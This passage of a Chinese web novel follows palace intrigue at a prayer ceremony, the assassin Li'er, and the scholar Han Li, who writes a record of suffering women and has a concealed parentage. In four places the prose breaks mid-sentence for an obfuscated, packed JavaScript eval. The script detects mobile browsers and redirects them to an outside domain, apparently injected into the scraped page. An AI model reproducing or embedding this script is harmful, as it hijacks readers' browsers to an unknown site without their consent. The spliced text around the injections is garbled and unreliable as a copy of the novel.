兰香急忙跪下磕头:“娘娘,自陛下出事以来,娘娘日夜侍汤奉药,夜夜守在陛下身侧,如此操劳,身体也一天天消瘦下去,几度昏倒。” 芸香也随之附和道:“若如此都不能算心诚,那请娘娘投火献祭时也带上奴婢吧,奴婢愿随娘娘同生共死,以请上苍庇佑。” 众位女官女史也随之跪下,异口同声道:“奴婢等愿同皇后娘娘同生共死。” 阿勒齐远远站在一旁,吐槽道:“谁寻死还要提前知会一声,这不摆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805574|158484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明了要大家拦着她吗?” 萧照解释道:“破绽虽大,但史书上却能记载为,帝重伤不醒,皇后悲痛欲绝,欲投火自焚。故后世之人也只会赞叹帝后二人伉俪情深。” 太子此刻跪在皇后身侧,痛哭流涕:“母后三思啊,父皇多日昏迷不醒,难道连母后也欲撒手人寰,弃儿臣于不顾。” “母后,父皇重伤未愈,母后切不能再出事了。” “母后,一切都是儿臣不孝,儿臣一没有保护好父皇,二没有照顾好母后,儿臣无能啊。” 皇后听到太子所言,似有感而发,不再执着于跳祭坛,转而安慰起太子:“皇儿是天下最孝顺的孩子,陛下遇刺后,于内火速斩杀刺客,于外安定天下,监国理政,夙兴夜寐,唯佑我大渊江山永固。” “儿臣无能,父皇重伤,朝政繁忙,儿臣不能夜夜侍奉汤药,常伴父皇左右,多亏了母后强忍悲痛,星夜照顾,这些天来,母后日渐消瘦,憔悴不堪,儿臣心痛不已。” 萧照和阿勒齐看戏看得有点恶心了,明知是场演给天下人看的戏,却不曾想,二人竟演得如此声情并茂,情真意切,令人作呕。 “他二人若去戏班子里唱戏,定是头牌,名动天下。”世子吐槽道。 阿勒齐忍不住问道:“世子,你说皇后和太子真的不是亲母子吗?这戏演得是真一脉相承。” “有时候政治同盟,不是亲生胜似亲生。有时候皇位争夺,至亲亦可杀。亲与不亲,谁又说得准呢。” 突然,有一大臣从人群中站出来,对着皇后大骂道:“妖后,休要在此装模作样,天下谁人不知,你秽乱后宫,私通外臣。” 太子上前,“陈铖,莫要口出狂言,有损母后声誉,母后日日悲痛,哭不啜声,时常绝膳三日为父皇祈福,此情日月苍天可鉴。” “太子殿下,陛下的遇刺您当真问心无愧吗?妖后在陛下未出事之前便多次顶撞陛下,其罪当诛。” “本宫问心无愧,本宫与父皇多年父子感情岂容你在此放肆。母后与父皇伉俪情深,又岂容你一介外臣置喙。” 皇后见状,掩面哭道:“陈大人,本宫与你无冤无仇,为何要如此污蔑本宫,陈大人,你这样口出秽语,欺负我们母子,日后陛下醒来,你将何以面对陛下。” 话一结束,皇后便装作悲愤交加,支撑不住晕倒了。 太子赶忙扶住皇后,命女官送皇后回宫休养:“皇后近来照顾陛下,辛劳过度,忧思成疾,如今体力不支,祈福大典由本宫代为主持。” “太子殿下,你和皇后二人一个把持后宫,一个掌控朝政,好一个母慈子孝啊,不是母子胜似母子。” “佛门圣地,休要放肆,来人,把陈铖押下去,关进大牢,好好反省,什么时候想清楚了回禀本宫。” 这出短暂的闹剧很快就停息下来,祈福大典继续进行。 阿勒齐感叹着:“太子还是心善,我若是他,我就把陈铖丢到祭坛里烧了当祭品,正好省得皇后投火自焚。” “你倒是挺会心疼皇后。” “不是不是,世子,其实我也一直在观察周遭情况,没有一直盯着皇后看。”阿勒齐解释道。 “那你又盯到了哪家的美人了。” “回世子,我刚刚看到了鲤儿,她女扮男装,好像在找什么人。” 世子怒道:“人呢,你刚刚怎么不说。” 16. 韩厉 祈福大典,鲤儿女扮男装混了进去,本是想见识见识大渊皇室唱得是哪一出,没想到,远远一瞥,就被恶心坏了。 皇后和太子你方唱罢我方登场,又是要投火自焚又是悲愤装晕,花样百出,倒是和契丹皇室一点也不一样。 若是换成契丹皇室早就你捅一刀,我捅一刀,痛痛快快杀个你死我活了,哪有时间演什么母慈子孝。 她想起围场兵变和血洗契丹王宫时,耶律权给她下的命令从来都是“斩草除根,格杀勿论”。 亲兄弟为了皇位尚且毫不留情,欲杀之而后快,更何况眼前这对还只是名义上的母子。 作为探子,本该专心监视,不放过任何一个细节,可不知为何,她一点也看不了这对假母子在台上演母慈子孝。 或许是因为,祈福大典这出戏,让她意识到,汉人是有多么会演戏,无时无刻都在演戏。 她想起当年父亲在黑市上卖女儿,好几批客人来买,出价够高,可父亲都拒绝了。 或许那时候父亲也是在演戏吧,先假意拉扯一番,让看客知道他的不得已,让女儿体会他的不容易,让他自己的良心好过些。 拉拉扯扯讨价还价几段戏一演完,父亲还不是干脆利落地把她给卖了,出价依旧是五十两,分毫未变。 也只有自己涉世未深,还一直傻乎乎地相信父亲当年是舍不得自己的,会因为卖了自己而痛苦不已,会在日后的某一次午夜梦回时后悔不已。 沉思之际,鲤儿发现了跪在文武百官后面的喀沁世子萧照和阿勒齐。这俩人倒是什么场合都能聊得起劲。 训练她的那位契丹人说过,一流探子能一直专心盯着场面上最重要的那群人,将每一个大人物的一举一动尽收眼底,可真正活得久的探子,反而是那群东瞅瞅,西看看,望望丫鬟,盯盯小贩,和百姓闲聊的那群人。 越是大场面,越是不能放过任何一个无关人员,哪怕他们终其一生也只是个蝼蚁。 当年围场兵变,漫山遍野的人都在互相厮杀,她守在山下一天一夜,直到了山上的每一颗树都被血染红,每一处草地都躺满尸体。 黄昏时分,厮杀声,哀嚎声,短兵相接的声音终于止住了。 很快有一队死士下山,为首的一个人拎着一个血肉模糊的人头,跪禀耶律权。 后面的死士有的抱着一只胳膊,有的抱着一条腿,有的捧着一只脚,有的抱着身子,曾经如此骄傲的耶律王,契丹之主,如今竟沦为砧板上的肉,供人挑拣分食。 “报,大王,我等已斩杀耶律安,取其首级,请大王过目。” 天色昏暗,那颗人头早已血肉模糊,却还是能依稀看到绑在头发上的七星王冠,在草原夕阳的照耀下闪闪发光,红得刺眼。 耶律权大喜过望,双臂张开,朝天大笑:“哥哥啊,我的好哥哥,你终于死了,我等这一天等了四十年,四十年啊,人生也不过两个四十年。” 接下来,那群死士便着急去领赏了,耶律权曾许诺过,凡是能斩杀契丹王者,重重有赏。 有的死士拿着一条胳膊去领了一袋银子,有的死士拿着一条大腿去领了几锭金子,有的死士拿着躯干领了一袋珠宝首饰。 这些赏赐,看样子也是老契丹王东征西战四处抢掠所得,如今,倒是真正用在了自己身上,何其讽刺。 鲤儿发现了奇怪之处,那名拿着一条大腿的死士领了赏赐后很快就退下了。 按常理说,赏赐各有不同,怎么着也该和其他兄弟们聚在一起,偷偷比较一番谁拿得多,谁又拿少了。 鲤儿立刻反应过来:“站住,你给我站住。” 她赶紧追了上去,那名死士一听声音直接往外跑了,可能是有伤在身,他跑得不快,鲤儿很快就追上了。 一把弯刀架在死士脖子上,死士缓缓抬起头。 “把脸上的土和血擦干净,我倒要是看看谁在这浑水摸鱼。” 那名死士满脸都是血和土,嘴唇干裂,他一言不发,然后一转头,借着鲤儿的弯刀自刎了,鲜血顷刻溅了鲤儿一脸。 鲤儿来不及擦自己脸上的血迹,赶紧撕块布,趁着天色还有些光亮将死士的脸擦拭干净。 血与土除尽,那张脸水落石出——这才是真正的老契丹王的脸,如假包换。 鲤儿停止了那梦魇般的回忆,继续观察着周遭的百官,文人,百姓。 阿勒齐往这边看了一眼,鲤儿立刻警觉,是认出了我吗?该撤吗?还是他只是单纯地东张西望,鲤儿正犹豫着,发觉阿勒齐继续盯着皇后,不再看过来了。 这小子,真不是一个合格的探子,只知道在台下看戏。 正欲离开,鲤儿却在人群中发现了一张熟悉的脸,确切地说,虽未见过那张脸,可那张脸却是她再熟悉不过的,太像了,这世上怎会有如此相似的两张脸。 要不是那张脸过于年轻,她都要怀疑老契丹王死而复生了。 管它呢?还是都杀了比较好。 鲤儿悄悄移步到那男子身旁,戴上了藏有毒针的戒指,准备伺机动手。突然,旁边有一男子拽了下那男子,小声聊了起来 “韩兄,还是做女子好啊。” “只需一张好看的脸,会哭能哄人便能做一朝皇后,母仪天下。” “实在不行也能趁着年轻给显贵们当个小妾,一辈子吃穿不愁。世道不公啊!” 那名韩姓男子看着皇后,在一旁摇摇头:“李兄此言差矣,世道不公,女子更为不易。” 另一男子也加入其中,叹道:“子曰,唯女子与小人难养也。” 韩厉淡淡一笑:“男子,即便手无缚鸡之力,也可读书求学,考取功名,谋个一官半职。若是身强力壮,大可从军,血战沙场,混些粮饷军功,光宗耀祖。可女子,又有什么能选的呢?” “苦都让咱们这些爷们吃了,女子娇养一生,哪里吃过什么苦。” 那名韩姓男子笑道:“这里便是相国寺,皇家祈福之地,想来必是极其灵验。若做女子真有百般好,诸位可愿在此与韩厉一同向佛祖祈求,让咱们来世一齐作姐妹可好。” 众人立马摇摇头,韩厉笑而不语。 “韩兄,佛门重地,佛家讲百世轮回,这话可不能乱讲啊,吾等方才只是说说而已,切不可下一世真投胎成女娃娃。” 韩厉依旧不语。 鲤儿忍不住压低声音插嘴道:“好,算我一个,我愿做个女子。” “我这一生,见过诸多女子,她们良善,温柔,坚韧,有慈悲之心。”言谈之中,她已将戒指自然收起。 韩厉点点头,说道:“兄台,萍水相逢,亦是缘分,不如今日你我就在此地祈福,向佛门许愿,若真有来生,一同作对闺阁姐妹如何。” 众人看着两位少年,甚是无语,哪来的蠢人,居然一下还来了俩。 鲤儿和韩厉跪在一侧,朝着寺中心磕了个头。 “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805575|158484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 韩厉,一介书生,向佛门许愿,愿生生世世不做男儿,若有来世,便和旁边这位小兄弟一同做对闺阁姐妹,闲情书画,不问世事。” “若有来世,我愿长待闺阁,不出阁,不嫁人,侍奉祖母和母亲,终老一生。” 嘴上说是如此,可鲤儿却在心里祈求着:若真有来世,鲤儿不做人了,宁愿做山间的一棵树,河里的一粒沙,也不要再做人了。 韩厉看着鲤儿,怅然道:“莫说我痴,世间痴人良多。” 鲤儿问道:“韩兄,为何来世你愿做女子,比之男子,女子确实不易。” “只是觉得女子温柔似水,甚洁甚好。” “若是成了皇后这样的人,那该如何?” “女子何辜,我若有女儿,管她走什么路,嫁什么人,使什么手段,只要在这乱世能好好活着就行了。” “韩兄对于皇后似乎格外尊崇。”鲤儿试探性问道。 “娘娘是天下万民之母,韩厉自当尊之敬之。”韩厉淡淡答道,面上波澜不惊。 寺院另一侧,阿勒齐和萧照世子远远观之,大为不解。 “世子,我怎么感觉,鲤儿原本是打算杀韩厉的,怎么他俩又聊起来了。” “问题是鲤儿一开始为什么想要杀韩厉,佛门重地,官家大典,在此等场合动手,很难脱身。” “是啊,韩厉不就是个读书人,杀他有啥用。” 那咱们过去试探试探便知。 走,去看看。两人移步到韩厉身旁,跪坐,假意祈福。 韩厉发觉萧照世子和阿勒齐来了,不免开起了玩笑:“萧郎,张郎,怎么跪在这了,这片可都是文人墨客。” 两人没有回答韩厉的问题,转而对着鲤儿问道:“鲤儿姑娘,士别三日,今日怎么扮起男儿身了。” 韩厉:??? 鲤儿哼了一声,随即换回了正常声线:“喀沁世子,京都那么大,你二人倒是哪哪都在啊。” 韩厉:“你是女子?” 阿勒齐很难理解:“这很难看出来吗?不就是贴了胡子,易了容,变了嗓音,如假包换的姑娘。” 真是一群书呆子,这都看不出。 世子汗颜,我一开始确实也没认出来。 鲤儿倒是很淡定,身份被拆穿了也没有丝毫不悦:“我是女子,名叫鲤儿,女扮男装只是为了到相国寺看出好戏,没曾想,戏一般,人也一般。” 鲤儿很快便离开了,韩厉,萧照等人并未拦着,等人走后,韩厉问道:“方才那姑娘是来杀我的吗?” 阿勒齐点点头,萧照解释道:“没有十成十把握,不过她的戒指上有枚毒针。” “多谢二位赶来搭救,韩厉不知,竟和杀手稀里糊涂聊了半天。” “韩厉,你最近真的没得罪什么人吗?那个鲤儿很厉害,身手不比阿勒齐差,且善用毒,防不胜防。” “二位能否告知那女子是哪里人。” “是契丹人,但阿勒齐觉得她是汉人。” 韩厉心中了然,该来的终归是来了。 匆忙解释完之后,萧照和阿勒齐决定暗自跟踪鲤儿,却被韩厉拦住了。 “萧郎,张郎,别走了,祈福一天,百无聊赖,过来坐会,咱们一起谈天说地如何啊。” “我们是要去查那个要杀你的人。”阿勒齐急道。 “要杀便杀了,我韩厉无惧,来来来,过来聊聊,这祈福大典真是无聊。” 17.京都女子实录 正欲和萧照,阿勒齐一同聊聊这祈福大典,突然,芸香姑姑来请韩厉去藏经阁一叙,娘娘有些经书上的问题向韩先生请教。 韩厉左眼一跳,心道:完了完了,芸香姑姑亲自来,大事不妙了。 一路上,韩厉偷偷问道:“芸香姐姐,这次真不是鸿门宴吗?” “韩公子说笑了,皇后娘娘怎么会是那种人。”芸香温柔笑道。 一听芸香这么说,韩厉便知道,皇后娘娘定是生气了。 不是吧,刚在大典和百官置气,不会是要拿我开刀撒气吧。 真是好巧不巧撞刀尖上了。 果然,一进相国寺藏经楼,皇后娘娘便拿着一把剑指着韩厉,骂道:“好你个韩厉,这就是本宫让你写的《京都女子实录》?什么鬼,再写成这样,本宫亲自送你去见鬼。” 娘娘要撒泼了,这话可不能接啊。 韩厉跪下,行礼后方答道:“回皇后娘娘,听闻娘娘行大典时与文臣争论,一时昏了过去,不知如今凤体可还安康。” “少给本宫东拉西扯,文官就算天天放屁,也没有你写的书臭,瞧瞧,都瞧瞧,写的什么玩意。” 说完,直接把底稿丢到了韩厉身上,韩厉弯腰捡起,略微翻翻。 这部底稿,韩厉越看越喜欢,瞅瞅我这书法,翩若游云,飘逸潇洒;瞧瞧我这文笔,精妙华丽,浑然天成;看看我这文章,行云流水,真乃神品唉! 让我韩厉来写实录,真是杀鸡焉用宰牛刀啊。 强掩骄傲之情,韩厉立马换了副自卑羞愧的神色:“皇后娘娘所言甚是,韩厉愚不可及,行文,布局,书法,文笔,皆是下下品,有污娘娘慧眼,请娘娘降罪,臣最该万死。” “知道就好,写的是什么东西,第一回,居然写的是本宫和薛将军的私情,这能写吗?” “娘娘,这怎么能算私情呢?俗人哪懂何谓两情相悦,海枯石烂。” “依臣所见,世俗眼中的三从四德不过是女子的一副枷锁而已,娘娘如此女中豪杰,凤仪天下,怎能受此枷锁牵掣呢?” “臣私以为,娘娘与薛将军之情乃是京都男女至情至性的典范,京都女子当以此为楷模。” 皇后掩面一笑,略微小声了些:“哦?是吗?” 韩厉知道,机会来了,赶紧趁热打铁:“回皇后娘娘,韩厉所言句句属实,娘娘和薛将军青梅竹马,情投意合,郎才女貌,实在是天作之合,世所罕见。” “想来世上女子多是羡慕娘娘得此佳偶,恩爱两不疑,而非是区区皇后这个身份。” 皇后喜不自胜,“芸香,来,拿几块成色好的墨玉来,赏给韩先生把玩,先生平日著书辛苦了。” 韩厉见此,心里明白皇后的气八成是消了,松了一口气:“敢问娘娘,书中还有何需要改动之处吗?” “有,每一回本宫都不喜欢,今日正好在相国寺,本宫就一回一回同你说说怎么改,你先起来。” 韩厉起身,深吸一口气,准备迎接即将出现的暴风骤雨。 “韩厉,这第二回,你写道,京都李氏多年无所出,遂自请休妻,出家为李家祈福,望李家绵延子嗣,而她家官人立马又娶了几房姨娘,经年之后,子孙满堂。” “是,臣亲自去考证了,确有此事,故而记下了。“ 皇后摇摇头:“这个结局本宫不喜欢,要改,嗯,改成李氏多年无所出,劝他家官人去剃度出家吧,让她家官人赶紧看破红尘,别整天念叨着要纳妾生儿子。李氏还好好地做她的当家主母吧。” “诺,臣回去便改。” “第三回,也要改,你写的是京都的一位才女,诗画双绝,但是里面好多字本宫不认识,典故和诗词本宫也全都不懂,你记得,要好好在文末仔细落注,务必要百姓妇孺都看得懂。” “本宫书要是读得够多,哪还轮得到你来写?” “诺,臣回去便改。”韩厉心中苦涩无比,把字句都换成你认识的,那诗词岂不都变味了。 “第四回,要大改。你写的这位京都妇人,常年被丈夫打骂,但是打不还口,骂不还手,每日依旧为那个死男人洗手做羹汤,任劳任怨。本宫看到这一回时,肚子都要气炸了。” “娘娘,臣去找过那位妇人,劝过她和离,可那妇人却对臣说,韩公子,这是命啊。” “你去把那个死男人给我抓进宫,本宫要亲自把那死男人给阉了。” 韩厉无奈:“娘娘,您救得了一人,可您救得了全天下的妇人吗?” “况且,那位妇人和她夫君有子嗣,您若是伤害她夫君,那您让这孩子日后如何自处啊?孩子还小,日后还打算科举入仕。” “杀了男子不难,可一旦那男子出事,身为人子的又如何还能日日安心读书。” “孩子一旦受到任何牵连,想必那妇人只会恨毒了我们。” 皇后娘娘眼含泪光,有所哽咽:“可本宫就是看不得这种结局,本宫改不了那妇人的命,那本宫还改不了书里的事吗?” 皇后冷笑道,笑得韩厉心里发毛:“既然已经有孩子了,那就改成孩子全都被流寇杀光了,那妇人最后和她丈夫和离了,让她丈夫以后沿街乞讨吧。” 韩厉有所犹豫,“娘娘,对孩子来说,这命是不是有点太狠了,稚子何辜啊?” 皇后娘娘突然横眉冷对:“狠什么狠,眼睁睁看着自己亲娘被打,不加劝阻,无动于衷,眼睁睁看着自己亲娘每日辛劳操持,不施以援手,衣来伸手饭来张口,这样的白眼狼,不杀何为?” “诺。”韩厉有些头疼,这本书日后怕是不被娘娘骂,就要被天下人骂,不被天下人骂,自己就要被娘娘先给一剑刺死了,还是不要署自己的名字了。 娘娘稍平复了一下心情,继续说道:“对了,书后面的五六七八九十,算了,管它多少回,都删了,本宫不想看到这些。” 韩厉有些为难,“书后面所记可都是些官家小姐,自小养尊处优,一生顺遂,平安喜乐,多是闺阁之乐,为何要删啊。” 皇后娘娘气得双手叉腰,来回踱步,怒道:“哼,京都的官家小姐能有几个?天下女子又有几个能有幸生在这样的大户人家里,天下那么多女子受苦受罪你不记,就知道记些大户小姐们。” “待日后这书要是印下去,天下人岂不都以为我朝女子这一生享尽了荣华富贵,还有谁会怜惜女子的不易。” 韩厉心中无语,受苦受累的女子我是真记下来了,您看了又不忍心,还要乱改来改去。 养尊处优,人生顺遂的高门贵女您又不让记,娘娘,您还是直接杀了我吧。 “韩厉,本宫知道你是应天府书院最有作为的后生,师承太傅,又在宫里待过一段时间,你能接触到的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“韩厉,你知道吗?时至今日,仍有不少人在本宫跟前说,本宫的姐姐好福气啊,出身不高,姿色一般,性情也是一般,居然高嫁到了江南世家。” “没有人知道本宫的姐姐也曾是苏州一等一的绣娘,没有人会记得姐姐的双面绣曾独步天下。” “这就是没杀出来的女子的下场,一身清白,任世人泼墨诋毁。” “本宫既然杀出来了,势必要为天下受苦女子鸣一声,哭一场,怨一怨,如果连本宫都不愿做这些,天底下又有谁能为她们说话呢?” “史书上只会说,唯小人与女子难养也,本宫没好好读过什么书,我想,孔夫子的意思大概是,女子不好养,死了就死了呗,可有谁知道,女子根本不难养,多少女子是被活生生折磨而死的。” 韩厉再次跪拜,第一次丝毫不带伪装地向皇后承诺:“臣定当认真编纂《京都女子实录》,为世间女子鸣不公,抱不平。不负娘娘所托。” “臣一直都深知娘娘让臣编著此书的目的,只是,从未想过娘娘竟有如此经历,娘娘大义,臣有愧。” “起来吧,韩先生,本宫知道你是京都首屈一指的书画大家,好好编书吧,不用为本宫忧心,本宫早就以其人之道还治起身为姐姐报仇了。” “不仅仅是编书开明智,本宫日后要做的,还有很多。” 18.无名氏 深夜,京郊韩府 天寒地冻,韩厉披着狐裘,正奋笔疾书,书童来回伺候,磨墨,奉上热茶,换新烛,添些炭火。 “公子,为何这次所写都是无名氏。” “名姓,很重要吗?”韩厉不解。 “公子,你写的都是些可怜女子,她们这辈子太苦了。”书童唏嘘不已。 “若是连公子这样过目不忘的人都不愿记住她们的名字,只说是无名氏,那便更没有人会记得这些可怜女子了。” “娘娘交代过,事是真事,但要隐匿这群女子的名姓。” 书童还是不懂:“公子,错的又不是这些女子,是害她们的人啊。” 韩厉苦笑:“是啊,确实不公,该羞愧的不羞愧,反而继续作威作福,不该羞愧的反而羞愧无比,再无颜面面对世人。” “天色不早了,你先回去吧。” “公子,已经丑时了,再过几刻钟天就要亮了,您不歇息吗?” “睡不着,每次写《京都女子实录》,都辗转反侧,难以入眠啊,还不如起来把书写完。” “可公子夜里若不休息,怕是白天到书院会扛不住。” 韩厉笑道:“我到书院里再睡,正好楼先生讲学,引经据典,侃侃而谈,很适合入眠。” “楼先生那么严厉,这要是被他发现,公子,您怕是要被罚抄好几卷佛经。” “无妨无妨,我坐书院最后一席便是,他看不见,先生视我为爱徒,定不会起疑。” 书童欲言又止,眼见劝不动,只好实话实说了:“公子,切不可在书院补觉啊,您睡觉最爱打鼾,且鼾声如雷。” “我打鼾吗?为何我从不知啊。” “是的公子,我住在隔壁院子都能听到。” 韩厉:??? “为何这么多年你们从不告诉我啊?” “管事说了,这事不能外传,公子尚未婚配,一旦让人知道您鼾声如雷,怕是日后不好说媒。” 书童说完了,很快便离开了,独留韩厉在书桌前扼腕叹息。 韩厉单手托腮,呜呼哀哉! 完了完了,白天要听先生讲学,夜里要给皇后写书,还要时不时抽空给太子办些事,苍天啊,你杀了我吧。 不对啊,先生白天在书院讲学,夜里要给萧照和阿勒齐单独指导,先生尚且日日精神抖擞,我身强力壮,不眠不休几个晚上又有何可惧? 唉,忘了先生年纪大觉少,苍天啊,快来杀我吧。 韩厉哀叹着,却无意从看到了砚台面上反射出的一个人影。他立即抽出身后的宝剑。 “梁上何人,迅速报上名来。” 果不其然,房梁上下来了一个女子,想来也是,唯有女子身量小,可被横梁遮挡住。 “你是鲤儿姑娘?” 鲤儿丝毫不惧,自己从旁顺手挪了个凳子坐了下来。 “我打听过你,韩厉,听说你身手很好,可是,一屋之内,还是用毒更有优势。” 韩厉把剑收了起来,讽道:“真是天大的笑话,我韩厉夙兴夜寐,笔耕不辍,为天下苦命女子鸣冤叫屈,到头来,却要被女子所杀,天意啊!” “你为何要写这些女子,写这些做甚?”鲤儿顺手拿起了几张底稿,看了看。 “受人之托,为天下女子正名,也为她们鸣不平,不让这些坚忍女子白白湮没在世俗大雨中,白白受苦,白白送命。” “天下那么多女子受苦受累,为何只写了这几回?” 韩厉:??? 你一个杀手怎么比皇后娘娘还催稿,皇后娘娘用剑指着我,你用毒,到底是谁说女子柔弱不堪? “我是男子,素日里很难接触到女子,就这几回,已是百般查探,四处暗访所得。有诸多女子,这一生都不愿见外男。” “原来如此,我这倒是有很多故事,你可愿记下。” “如此倒是甚好,可鲤儿姑娘为何要帮我?” “谁说我这是在帮你,我帮的是天下可怜女子。” “姑娘请说,韩厉洗耳恭听。” 就这样,两人一人说,一人记。窗外寒风凛凛,白露为霜,不知不觉天已大白,可韩厉越写越觉得恐怖,多少精妙绝伦的女子,竟陨落得如此容易。 战乱,嫁人,生子,父母重男轻女,贞洁名声,妻妾之争,后宅内斗…… 哪一个,于女子来说都是鬼门关。关关难过关关过,否则……韩厉实在不敢想象。 “天大亮了,韩厉,我要这些女子平生所蒙受的委屈也大白于天下,如若你做不到,天涯海角,我定取你狗命。” “不劳姑娘费心,若这些书写不出来,不用姑娘动手,自会有人将韩厉一剑捅死。” “用剑,那可要提前告诉我,我先补个毒上去,保准公子死前七窍流血,白蚁噬心。” 韩厉忍不住问道,“鲤儿姑娘,既然你明知女子不易,一步走错便满盘皆输,为何还要做杀手,偏偏选了条最为凶险的路。” “鲤儿姑娘,以你的能力,定能早早功成身退,隐姓埋名,过着常人的生活。” “有的女子一路顺遂,有的女子不幸走错了路,有的女子能迷途知返,可我,早就没了路。” 韩厉劝道:“既已无路可走,不如我给你一条路,我请皇后娘娘给你找个差事,你就此隐匿于世间,可好?” “与其摇尾乞怜把命托付给旁人,还不如做个杀手,没有路,我偏要活生生杀出一条生路来,神挡杀神,佛挡杀佛。” “姑娘为何不杀我?你就不怕日后难以向背后的主子交代。” “没有人给我下过这个命令。” “你不是契丹人,你方才所说的故事只有在汉人女子里才会发生。” 鲤儿没有回答,只是收拾收拾毒药,准备离开。 “别走,你还未告诉我故事里那些女子的名字。” “无名氏。” “天下人不知道她们的名字也就罢了,只是我为她们著书鸣不平,他日若是有缘相见,相见却不相识,怕是会寒了她们的心。” “她们的心早就被这世道掰碎了嚼烂了,哪还有心了,没有什么能让她们更痛了。” 那一天,韩府书童向书院告假。 那一天,韩厉将自己关在书房,写了一整天的字, 每一张纸,都写满了“无名氏”三个字。 他想起了从前,想起了当年长公主的那句“你的生母是一位无名氏”。 有时候伪装太久,竟忘了他自己原本也是个无名氏。 小时候,他长在宫里,可长公主从不允许他走出长奉殿。 长公主自己也常年幽闭于此,不愿外出。 两个人,明明日日在同一间屋内,长公主却从不和他说话。 有一天,他鼓起勇气叫道:“娘。” 长公主闻言,罕见地开口说了话:“我不是你娘,你娘是个无名氏。” “娘。” “我不是你娘,我的孩子一出生就死了,你娘把你送给了我。” “娘。” “我原本不想要你,可大渊朝需要一个孩子,本公主也需要一个孩子,所以,才收下了你,你要记住,好好活着,日后报答本宫的养育之恩。” 或许天资过人,那么小的他便听懂了长公主话中的疏离和厌恶,从此,他再也不对着长公主嚷嚷着喊娘了。 大渊皇帝倒是很喜欢他,时常感叹,这野小子聪慧过人,为人知分寸,你要是朕的太子该多好啊。 大渊皇帝总是让他勤练武功,还派了禁军教头亲自来教他。 他不明白,直到有一天,皇帝给他下了一个命令。 “朕不管你的亲手父母是谁,但你要记住,在韩将军那,你的生母就是长公主。” “诺,” “韩将军是?” “今日起,朕会把你送到北境韩将军那,记住,对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14812707|158484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 韩将军咬死,你的生父就是他,不过,切不可让他带你认祖归宗。一切隐秘行事。” 后来他才知道,当年长公主与北境韩将军两情相悦,私定终身。 可天有不测风云,契丹突然来犯,耶律安居然要大渊的长公主和亲。 很快,长公主便被送到了契丹。 韩将军不愿,请求一战,还长公主自由,可大渊皇帝并不想打这场仗。 是啊,能用女人解决的事为何要开战。 自此,韩将军便拥兵自重,积蓄力量,铲除军中异己,不到半年,便在军中建立了无可撼动的威望。 半年后,韩将军亲率骑兵,抢回了长公主,可那时,长公主已身怀六甲。 长公主不愿呆在北境,一月之内,只率一队亲卫偷偷赶回了京城。 皇帝为了安抚两方,只得对契丹王说长公主怀了他的孩子。 对韩将军说那孩子其实姓韩。 两头骗,所以这个孩子不能出事,更不能悄无声息地死在了长公主回京路上。 可是,七月早产的孩子终究是没保住。 回京都的路上,长公主领养了一户农家的孩子,所以一开始,韩厉便是无名氏。 长公主从不唤他,皇帝只叫他野孩子。 对韩厉来说,当皇帝忌惮韩将军拥兵自重,不受控制时,他的父亲就姓韩,是皇帝安插在北境韩家的一枚钉子。 当喀沁重兵围城,翼州急需契丹出兵支援时,他的生父便是契丹王耶律安。 他被送到韩家时,韩将军将他视若珍宝,教他武功,亲传韩家枪法。 可他却在几年之后,和京都里应外合,灭了韩家满门,斩草除根。 “为什么,我对你视若己出,我对你不好吗?”临死前,韩将军死死拽住了他的腿。 “这是陛下给我的任务。爹,我没得选,其实,我也不是你的儿子。” “我知道,我看到你的第一眼便知道,所以,一直不让你离开韩府,也不让外人见你。” “那你为何?” “我本以为,血缘并不重要,重要的是这颗心,只是没想到,人心才是最复杂多变的。” “别为难长公主,拥兵自重,将在外军令不受的是我,她从没做错什么,错的是我。” “有什么话需要我带给长公主吗?” “没什么,不要说我是你杀的就行了,瞒着她,要是能瞒住我的死就更好了,瞒不住,就骗她我早就娶妻生子,妻儿美满,当年的事,早忘了。” “韩厉,在我心里,你就是我的儿子,答应我,此生都不要再来北境了。也不要去见契丹人。” “为什么?” “我的儿子不是他大渊皇帝的棋子,他应该只是韩厉,随我的姓,厉害的历。”说完,韩将军疲惫地闭上了眼,再也不复醒来。 “爹,他日黄泉相见,我们再做父子吧,我为你下十八层地狱,为你赎罪。” 这样的大功一件,兵不血刃便除掉了皇帝的心腹大患,大渊皇帝对他很满意。 